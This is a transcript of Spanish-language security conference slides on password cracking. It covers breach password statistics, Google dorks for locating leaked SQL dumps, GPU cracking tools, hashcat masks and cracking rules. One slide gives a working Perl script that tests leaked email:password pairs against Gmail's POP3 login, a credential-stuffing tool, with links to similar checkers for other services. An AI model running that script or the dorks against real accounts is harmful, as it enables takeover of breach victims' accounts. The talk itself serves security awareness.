alejandro ramos securitybydefault - it-docs · geforce 8600 gt 92 28 - geforce 9600 gt 253 76 -...
TRANSCRIPT
Yo. Ego - presentación
Manager del TigerTeam de SIA
Profesor en el MOSTIC de la Universidad Europea de
Madrid
Editor de SecurityByDefault.com
Aunque lo parezca. No soy gamer =]
Blah Blah…
¡Ah! mi twitter: @aramosf
¿Password cracking en 2011?
Estudio de políticas de contraseñas
«Nuevas» técnicas:
Usos distribuidos
GPGPU
La nube, servidores en Internet
Una contraseña suele ser válida para varios sitios
«un anillo para gobernarlos a todos»
Para qué ASLR, DEP, IPS, Antivirus, proxies… si la
contraseña es el nombre de la compañía
Because There Is No Patch To Human Stupidity
Aplicaciones que comprueban contraseñas
https://www.microsoft.com/security/pc-security/password-checker.aspx
http://www.passwordmeter.com/
Alejandro2011
Alejandro2011
Políticas de contraseñas
Long. Min Dígitos Caráct.Esp. Ej válidos
8 No No 1234567ab
6 No No qwerty
6 No No qwerty
6 No No asdfgh
8 No No qwertyui
6 No No qwerty
6 No No qwerty1234
¡STOP! Ya todos sabemos…
Las contraseñas se deben almacenar de forma segura en
nuestras aplicaciones web
El método más común es utilizar algoritmo de hash
Ejemplo MD5, MD5, SHA1, SHA256
Registro en
web
Contraseña
«hola»
4d186321c1a7f0f354b297e8
914ab240
Acceso:
Contraseña:
«hola»
4d186321c1a7f0f35
4b297e8914ab240
md5(hola)
md5(hola)
Dorking filetype: sql log txt
Cadenas a buscar:
@hotmail.com @gmail +password +username
Hashes sin salt
e10adc3949ba59abbe56e057f20f883e (md5 123456)
7c4a8d09ca3762af61e59520943dc26494f8941b (sha1 123456)
Volcados de software de gestión de BBDD
"phpMyAdmin SQL Dump"
"MySQL dump"
"PostgreSQL database dump"
"Dumped by N3tShell.SQL"
Trozos de Bases de datos:
"INSERT INTO `phpbb_users"
"Richsoft 2010 Data backup"
"PHPwind bakfile"
"SHOPEX SQL MultiVolumn"
"MySQL Administrator dump 1.4"
Incidentes - PHPBB
Contraseña Num
123456 2650
password 1244
phpbb 708
qwerty 562 12345 418
12345678 371 letmein 343
111111 313 1234 273
123456789 253
Febrero 2009
Obtenidas mediante SQL
Injection
255.421 usuarios
84,389 contraseñas
97% crackeadas
Incidentes - RockYou
Contraseña Num
123456 290729
12345 79076
123456789 76786
password 59462 iloveyou 49952
princess 33291 1234567 21725
rockyou 20901 12345678 20553
abc123 16648
Diciembre 2009
Obtenidas mediante SQL
Injection
32.603.387 usuarios
14.344.391 contraseñas
Contraseñas en texto plano
Diccionario de gran utilidad
Incidentes – Singles.org
Contraseña Num
123456 221
jesus 63
password 58
12345679 46 christ 36
love 29 princess 27
jesus1 25 sushine 24
1234567 23
Red social de citas para
religiosos (?)
Acceso al perfil del usuario con
su ID de 6 dígitos
En el perfil se muestra la
contraseña.
16.250 usuarios
12.234 contraseñas
Incidentes – Internet is for.. Pr0n!
Contraseña Num 1234 28
123456 25 password 20
pussy 19
12345 18
6969 15
mustang 14
love 14
michael 13
dick 13
Origen y sitio desconocido
10.000 usuarios
8.089 contraseñas válidas
Incidentes – Gawker
Contraseña Num 123456 4162
password 3332 12345678 1444
lifehack 861
qwerty 765
abc123 529
12345 503
monkey 471
111111 439
12345 410
Sin detalles del ataque
Lifehacker / Gizmodo
748.557 usuarios / hashes
DES, salt (8 caracteres max)
Muchas pass son HEX (spam)
674,690 encontrados (91%)
Scripts…
#!/usr/bin/perl
use strict;
use Mail::POP3Client;
use IO::Socket::SSL;
my ($mail,$pass);
open(FILE,$ARGV[0]);
while(<FILE>) {
chomp();
($mail,$pass)=split/:/;
next unless $mail =~ /gmail\.com/;
my $socket = IO::Socket::SSL->new( PeerAddr => 'pop.gmail.com',
PeerPort => 995,
Proto => 'tcp') || die "No socket!";
my $pop = Mail::POP3Client->new();
$pop->User("$mail");
$pop->Pass("$pass");
$pop->Socket($socket);
$pop->Connect();
if ($pop->Count() > 0) { print "$mail:$pass:OK!\n"; } else { print "$mail:$pass:NOOK\n"; }
}
• http://secby.me/00checkgmail
• http://secby.me/01checkpaypal
• http://secby.me/02checkfb
• http://secby.me/03checkmu
• http://secby.me/04fuckyeah
Incidentes – rootkit
Contraseña Num
123456 1023
password 384
rootkit 329
111111 190
12345678 181
qwerty 174
123456789 170
123123 99
qwertyui 91
12345 89
hijodeputa 1
Portal de RCE
Ingeniería social con el
incidente HBGary
81.450 usuarios
58,675 contraseñas distintas
54,372 encontradas (93%)
4,303 Pendientes
Ejemplos de contraseñas encontradas
Rockyou: y los hackers:
fuckyouhackers
trytohackme
some1hackedmypassword
hackingisfunbutbecareful!
hacker!@#$%^&*(
Rootkit y el sexo
Transexual27
pornking
Ilovebrittanie
iownyourass
phpBB y el amor:
SANDRA TE AMO
Tru Love
teamojuanpablo
lovedogs
ilovetits
Gawker y ...:
asslover
notgay
gayboy
assfuck1
Fuerza Bruta
Probando todas las combinaciones posibles:
aaaaa…ZZZZ
Markov (http://openwall.info/wiki/john/markov)
Uso de Tablas Rainbow para algoritmos sin salt
Mejoran rendimiento en discos duros SSD ($$!)
Lista de 500hash MD5 mixalpha_all_space 1-6:
Rainbow Tables: ~6horas
GTX460 IGHASHGPU: 23min
Un solo hash MD5:
Rainbow Tables: 2,5min
GTX460 IGHASHGPU: 16min
Herramientas (GPU)
OclHashcat
http://www.hashcat.net
IGHASHGPU
http://www.golubev.com/hashgpu.htm
BarsWF
http://3.14.by/en/md5
Whitepixel
http://whitepixel.zorinaq.com/
Fuerza Bruta (eh, pero con clase): Máscaras
Crear ataques en base a reglas. Ejemplos:
«Los 5 primeros carácteres tiene que ser letras minúsculas y
luego 2 dígitos»:
?l?l?l?l?l ?d?d
«La primera letra máyuscula y luego 6 letras minúsculas»:
?u?l?l ?l?l?l
«5 caracteres alfanúmericos»
-1 ?l?u?d ?1?1?1 ?1?1?1
?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?s = !”#$%&’()*+,-./:;<=>?@[\]^_`{|}~
?h = ISO-8859 characters from (0xc0 – 0xff)
Clásicos: openwall, etc
Generación:
Wikipedia
Freedb.org
IMDB
…
Crawling (CeWL: http://www.digininja.org/projects/cewl.php)
Diccionarios de sitios hackeados anteriormente.
Diccionarios de nombres de usuario
Usuarios de dumps viejos
Diccionarios
Ejemplo… IMDB
Títulos de películas: $ wget ftp://ftp.fu-
berlin.de/pub/misc/movies/database/movies.list.gz
$ zcat movies.list.gz | sed -e 's|(.*||g' > movies.dict
$ sort –R movies.dict |head -1 movies.dict
Magic in the Sky
$ zcat movies.list.gz | sed -e 's|(.*||g' -e
's/\<\(.\)\([^ ]*\)/\1/g' -e 's| ||g' |sort –u>
moviesacron.dict
$ sort –R movies.dict |head -1
YWNitMP
Diccionarios: Reglas
Permutan palabras de un diccionario: Ej «ninja»
Ninja2010, ninja!, NiNjA, $$ninja$$, ninja8==D, ninjaaa!
Herramientas: oclhashcat+, hashcat y JtR
Reglas creadas por Korelogic:
JtR: http://contest.korelogic.com/rules.html
Ocl/hashcat: https://contest.korelogic.com/rules-hashcat.html
john.conf:
[List.Rules:RootedRulesAppendrooted]
cAz"[rR][oO][oO][tT][eE][dD]«
[List.Rules:RootedRulesPrependrooted]
A0"[rR][oO][oO][tT][eE][dD]"
Diccionarios: fingerprint
Dado un diccionario de contraseñas válidas, generar otras
combinaciones:
$ echo cosa|./hashcat-utils-0.3/expander.exe| sort -u
a
ac
aco
acos
c
co
cos
cosa
o
os
osa
osac
s
sa
sac
saco
¿ AMD o NVIDIA ? Nvidia:
CUDA está mejor soportado
AMD:
Menos aplicaciones
Drivers problemáticos
Mucho más rápido
Más económicas
0
500
1000
1500
2000
2500
0
1000
2000
3000
4000
5000
6000
7000
8000
9000
10000
MD5
SHA1
En resumen
MD5 SHA1 Precio
Geforce 8600 GT 92 28 -
Geforce 9600 GT 253 76 -
Geforce GT 220 159 48 52,90 €
Geforce GT 240 313 95 68,90 €
Geforce GTS 450 668 201 73,90 €
GeForce GTX 460 1008 303 127,90 €
NVIDIA Tesla C2050 1392 437 2.279,00 €
GeForce GTX 570 1899 596 314,00 €
GeForce GTX 580 2137 670 519,00 €
MD5 SHA1 Precio
Radeon HD 4350 115 34 34,99 €
Radeon HD 4670 602 176 71,00 €
Radeon HD 5450 192 52 76,90 €
Radeon HD 5550 649 176 66,90 €
Radeon HD 5770 2509 680 109,90 €
Radeon HD 6850 2745 744 157,00 €
Radeon HD 6870 3720 1008 199,00 €
Radeon HD 5870 5018 1360 295,00 €
Radeon HD 5970 8561 2320 569,00 €
Radeon HD 6950 4560 1173 284,00 €
Radeon HD 6970 5472 1408 326,90 €
Radeon HD 6990 9328 2400 600 €
Amazon
Ofrece Instancia con 2 Nvidia TESLA a 2$ la hora =
410M/s
Velocidad similar a 1 Geforce GT 240 (70$)
8 instancias durante
una semana = 4 ATI
5790
4 ATI =36.000M/s
8 Instancias =
1.640M/s